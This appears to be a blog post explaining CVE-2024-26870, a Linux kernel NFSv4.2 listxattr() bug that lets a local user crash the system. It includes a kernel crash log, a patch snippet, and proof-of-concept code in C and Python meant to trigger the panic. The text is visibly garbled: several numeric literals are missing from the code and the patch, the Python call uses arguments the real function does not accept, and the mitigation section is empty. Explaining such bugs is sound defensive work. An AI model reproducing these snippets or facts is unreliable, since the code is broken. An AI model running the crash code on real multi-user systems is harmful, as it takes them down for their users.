In early 2024, a critical vulnerability, CVE-2024-26870, was discovered and patched in the Linux kernel, specifically affecting the NFSv4.2 implementation. This issue allowed a local user to trigger a fatal kernel BUG by making crafted listxattr() system calls, potentially causing system crashes and denial of service.

This long-read post will break down the bug, show how it can be triggered with code, explain what was fixed, and point you to the original references.

Get phase: App calls again with a buffer of the returned size to retrieve names.

If the Linux kernel’s internal logic gets out-of-sync with the real data length, bad things can happen. In the buggy kernel, a specific flow caused size mismanagement and a kernel BUG at mm/usercopy.c:102. That means the kernel actually self-terminated because the memory copy logic found a logic error.

When a user runs something like

ssize_t needed = listxattr("/mnt/nfs4file", NULL, );
char *buf = malloc(needed);
ssize_t ret = listxattr("/mnt/nfs4file", buf, needed); // crash happens here

A problem arises if the needed value is _exactly_ consumed by internal helper functions (generic_listxattr() or nfs4_listxattr_nfs4_label()), so that the remaining size for the final attribute (nfs4_listxattr_nfs4_user()) becomes zero. But the code doesn’t check for this, so it proceeds expecting a nonzero buffer — and triggers the kernel bug.

Here’s what a crash looks like

[   99.403778] kernel BUG at mm/usercopy.c:102!
[   99.404063] Internal error: Oops - BUG: 00000000f200080 [#1] SMP
[   99.408463] CPU:  PID: 331 Comm: python3 Not tainted 6.6.-61.fc40.aarch64 #1
... (snip) ...
[   99.418994] Code: aa0003e3 d000a3e 91310000 97f49bdb (d421000)

This shows the kernel panic caused by an out-of-bounds memory copy operation.

Reproducing the Issue

This bug can be triggered if the attributes returned include 'system.nfs4_acl' and the provided size matches up just right (e.g., 16 bytes). For example, with a file system supporting these attributes, running:

import os

path = "/mnt/nfs4file"
sz = os.listxattr(path, follow_symlinks=True, size=)  # Get size needed
buf = bytearray(sz)
os.listxattr(path, follow_symlinks=True, size=sz, buffer=buf)  # Fill buffer - triggers bug!

Or in C

#include <sys/xattr.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    char path[] = "/mnt/nfs4file";
    ssize_t size = listxattr(path, NULL, );
    char *buf = malloc(size);
    // If generic_listxattr returns just 'system.nfs4_acl', and size == 16:
    listxattr(path, buf, size);
    // This may panic the kernel!
    return ;
}

If you're on a vulnerable kernel, this will crash the system.

Why Did This Happen?

The bug is a classic off-by-one/bounds check error — logic inside nfs4_listxattr() forgot to check what happens if earlier code *exactly* fills the buffer, then tries to write one more attribute. That zero-length copy is a "never should happen" case, triggering the kernel's safety check.

The Fix

The solution is surprisingly simple: before proceeding, make sure the return value isn't trying to overfill the buffer. If the return value (needed space) is bigger than the actual provided buffer, return an ERANGE error immediately, so user space knows to try again with a bigger buffer.

Patch Snippet

+ if (size >  && result > size)
+     return -ERANGE;

This check is added to nfs4_listxattr() before attempting to fill the buffer.

References

- Upstream Linux Patch Commit
- Red Hat Bugzilla #2251067
- NFSv4 Bug Discussion

Exploit Details

While this bug does not allow arbitrary code execution, it's a straightforward denial-of-service (DoS) vector. Any local user with access to NFSv4.2 can crash the system with a single, simple call. This makes it a high-risk for all multi-user systems using NFSv4.2.

Mitigate:

Conclusion

CVE-2024-26870 shows how a tiny mistake in buffer logic can lead to major system crashes. With NFS still widely used, it's a strong reminder to keep up with kernel updates and be careful with extended attributes. Patching is straightforward; don’t delay!

More Info

- Linux Kernel Mailing List - NFSv4.2 fix
- Kernel Patch Details

Timeline

Published on: 04/17/2024 11:15:09 UTC
Last modified on: 04/30/2025 14:24:09 UTC